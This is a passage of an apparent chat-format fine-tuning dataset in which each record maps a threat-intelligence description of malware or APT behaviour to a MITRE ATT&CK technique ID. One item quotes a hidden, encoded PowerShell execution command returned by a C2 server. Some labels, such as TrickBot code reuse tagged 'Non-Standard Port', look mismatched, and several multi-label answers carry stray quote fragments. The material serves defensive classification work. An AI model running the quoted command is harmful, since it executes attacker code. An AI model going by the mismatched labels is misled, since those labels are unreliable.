                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can inject itself into processes including explore.exe, Iexplore.exe, and Mobsync.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Moses Staff has dropped a web shell onto a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. If the exploit is successful, the threat actors will attempt to drop and execute QuasarRAT. While the use of e-mail recipient tracking, a linked RTF document, and a final payload (QuasarRAT variant) remained the same, certain elements differed across campaigns observed. Exploitation and Malware Execution . Upon opening the above attachments, the recipient will be presented with a document that is a direct copy of a blog post or report released by the think tank organization being impersonated. When the malicious RTF document is opened, two things happen that allow the attacker malware to run. Its called the \"packager trick\" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\\Users\\%username%\\AppData\\Local\\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious \"scriptlet\" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial \"qrat.exe\" dropper from the current user's %tmp% directory. The Patchwork threat actors also appear to have adopted a technique seen from other APT groups where they are now tracking the effectiveness of their campaigns by recording which recipients have opened the phishing message"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The encrypted request includes a PC identifier and timestamp, and optionally some other data. It is worth noting that the RC2FM module uses a number of encryption methods (variations of a simple XOR encryption routine), unlike the other InvisiMole parts"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors used batch files that reduced their fingerprint on a compromised system by deleting malware-related files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman encodes data using hexadecimal representation before sending it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has used HTTPS in communications with C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When executed, the .NET Framework wrapper will first check if VMware tools is running in background, this is done via a simple process check, searching for any process named “vmtoolsd.” Provided there are no matching processes running, the malware continues execution, creating a registry entry with the name ‘MSASCuiLTasks’ in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce for persistence"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete files and directories."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "terminates anti-malware processes if they’re found running on the system."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hydraq creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After execution, the malware will use the Dropbox API to make an HTTP GET request using HTTPS over TCP port 443 for the files:  MD5  Filename  d76261ba3b624933a6ebb5dd73758db4  WmiApCom  79b68cdd0044edd4fbf8067b22878644  WmiApCom.bat   The “WmiApCom.bat” file is simply used to start “WmiApCom”, which happens to be the exact same file as the one dropped by the malicious Word documents"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WindTail has the ability to use HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink can upload files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dok downloads and installs Tor via homebrew."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used COM hijacking for persistence by replacing the legitimate MMDeviceEnumerator object with a payload."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can determine if a compromised host has security products installed."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TG-3390 uses DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL. The DLL acts as a stub loader, which loads and executes the shell code. The adversaries have used this technique to allow PlugX and HttpBrowser to persist on a system"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script “enu.cmd” created an administrator account, disabled the host-based firewall, and globally opened port 3389 for Remote Desktop Protocol (RDP) access. The script then attempted to add the newly created account to the administrators group to gain elevated privileges. This script contained hard-coded values for the group name “administrator” in Spanish, Italian, German, French, and English"
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall', 'T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has used dynamic DNS in its C2 infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "will timestomp any files or payloads placed on a target machine to help them blend in."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDelete is digitally signed by Microsoft."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has changed file permissions of files so they could not be modified."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can add a CLSID key for payload execution through `Registry.CurrentUser.CreateSubKey(\"Software\\\\Classes\\\\CLSID\\\\{\" + clsid + \"}\\\\InProcServer32\")`."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used net time to check the local time on a target system."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once gaining the initial foothold into a container, Hildegard establishes either a tmate session or an IRC channel back to the C2. It is unclear how TeamTNT chooses and tasks between these two C2 channels, as both can serve the same purpose. Unit 42 researchers have not observed any commands in the IRC channel. However, the IRC server's metadata indicates that the server was deployed on Jan"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperStack can use default credentials to connect to IPC$ shares on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LoJax has modified the Registry key \"‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\BootExecute’\" from \"‘autocheck autochk *’\" to \"‘autocheck autoche *’\" in order to execute its payload during Windows startup."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can deobfuscate its payload prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They include registry, file system manipulations, and searching files with specific patterns, and retrieving and transferring them back to the server and gathering network status information"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker terminates various services related to system security and Windows."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry utilizes \"wmic\" to delete shadow copies."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has set an Office 365 tenant level mail transport rule to send all mail in and out of the targeted organization to the newly created account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has been responsible for many large-scale attacks since at least 2014, using malicious email campaigns to distribute various banking trojans, ransomware, RATs, and backdoors. TA505 has been focused on delivering downloaders, information stealers, and other malware — threats that can remain in affected systems if not prevented or remediated. With the group's use of email as an entry point for malicious activities, the threat has become more serious for unwitting users and organizations"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bonadan has discovered the OS version, CPU model, and RAM size of the system it has been installed on."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 downloaded and launched code within a SCT file."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can timestomp any files or payloads placed on a target machine to help them blend in."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has achieved persistence via writing a PowerShell script to the autorun registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this campaign, we observed threat actors exploiting CVE-2017-0199 and CVE-2017-11882 to distribute malware"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The wrapper JAR file drops a secondary JAR file and copies it to a %Temp% location. The payload JAR file can be extracted using AES decryption. The first 16 bytes in the file “k” seen in Figure 4 contains the key and the file “e” is the encrypted Java payload"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On January 1, 2017, we observed this URL responding to the above HTTP request with the following data:powershell.exe -exec bypass -window hidden -noni -nop -encoded JABjAG8AbQBtAGEAbgBkACAAPQAgACcAVwB3AEIATwBBAEcAVQBBAGQAQQBBAHUAQQBGAE0AQQBaAFEAQgB5AEEASABZAEEAYQBRAEIAagBBAEcAVQBBAFUAQQBCAHYAQQBHAGsAQQBiAGcAQgAwAEEARQAwAEEAWQBRAEIAdQBBAEcARQBBAFoAdwBCAGwAQQBIAEkAQQBYAFEAQQA2AEEARABvAEEAVQB3AEIAbABBAEgASQBBAGQAZwBCAGwAQQBIAEkAQQBRAHcAQgBsAEEASABJAEEAZABBAEIAcABBAEcAWQBBAGEAUQBCAGoAQQBHAEUAQQBkAEEAQgBsAEEARgBZAEEAWQBRAEIAcwBBAEcAawBBAFoAQQBCAGgAQQBIAF..snip..As you can see, the C2 server responds with a PowerShell command that will run on the system"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream has the ability to discover application windows via execution of `EnumWindows`."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used a malware variant called WIDETONE to conduct port scans on the specified subnets."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique. These lures originate from external email addresses that the attacker rarely re-used, and they were sent to various locations of large restaurant chains, hospitality, and financial service organizations. As with previous campaigns, and as highlighted in our annual M-Trends 2017 report, FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For Operation Spalax, the threat actors obtained packers such as CyaX."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Thrip used a cloud-based remote access software called LogMeIn for their attacks."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin gathers the IP address and domain from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can download files to specified targets."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "will attempt to detect if the infected host is configured to a proxy. If so,  will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.  will also use HTTP to download resources that contain an IP address and Port Number pair to connect to for further C2. Adversaries can also use  to establish an RDP connection with a controller over TCP/7519."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has deleted itself and associated artifacts from victim machines."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used scheduled tasks to persist on victim systems."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "deletes data in a way that makes it unrecoverable."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation Mechanism for the JScript Code The malicious JScript code obfuscation relies on two main techniques"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury can automatically exfiltrate gathered SSH credentials."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The bot shows a number of similarities to Dyre but appears to have been rewritten. This assumption is made based on old Dyre code, which would primarily use built-in functions for doing things such as AES and SHA256 hashing. In the recent samples identifying themselves as TrickBot, the code appears to be based on that old code but rewritten to use things such as Microsoft CryptoAPI and COM"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control. Once they’ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA"
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can recognize the presence of monitoring tools on a target system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "variants have attempted to appear legitimate by using the file names SafeApp.exe and NeutralApp.exe, as well as by adding a new service named OfficeUpdateService."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dyre uses HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ipconfig can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The x_mode command is disabled by default, but when enabled via a command received from the DNS tunneling channel, it allows RogueRobin to receive a unique identifier and to get jobs by using Google Drive API requests"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay has been embedded in documents exploiting CVE-2017-0199, CVE-2017-11882, and CVE-2017-8570."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Technique Description   Fan Check The Trojan will perform the following WMI query:   Select * from Win32_Fan   According to MSDN, this query should return a class that provides statistics on the CPU fan"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEARDROP created and read from a file with a fake JPG header, and its payload was encrypted with a simple rotating XOR cipher."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
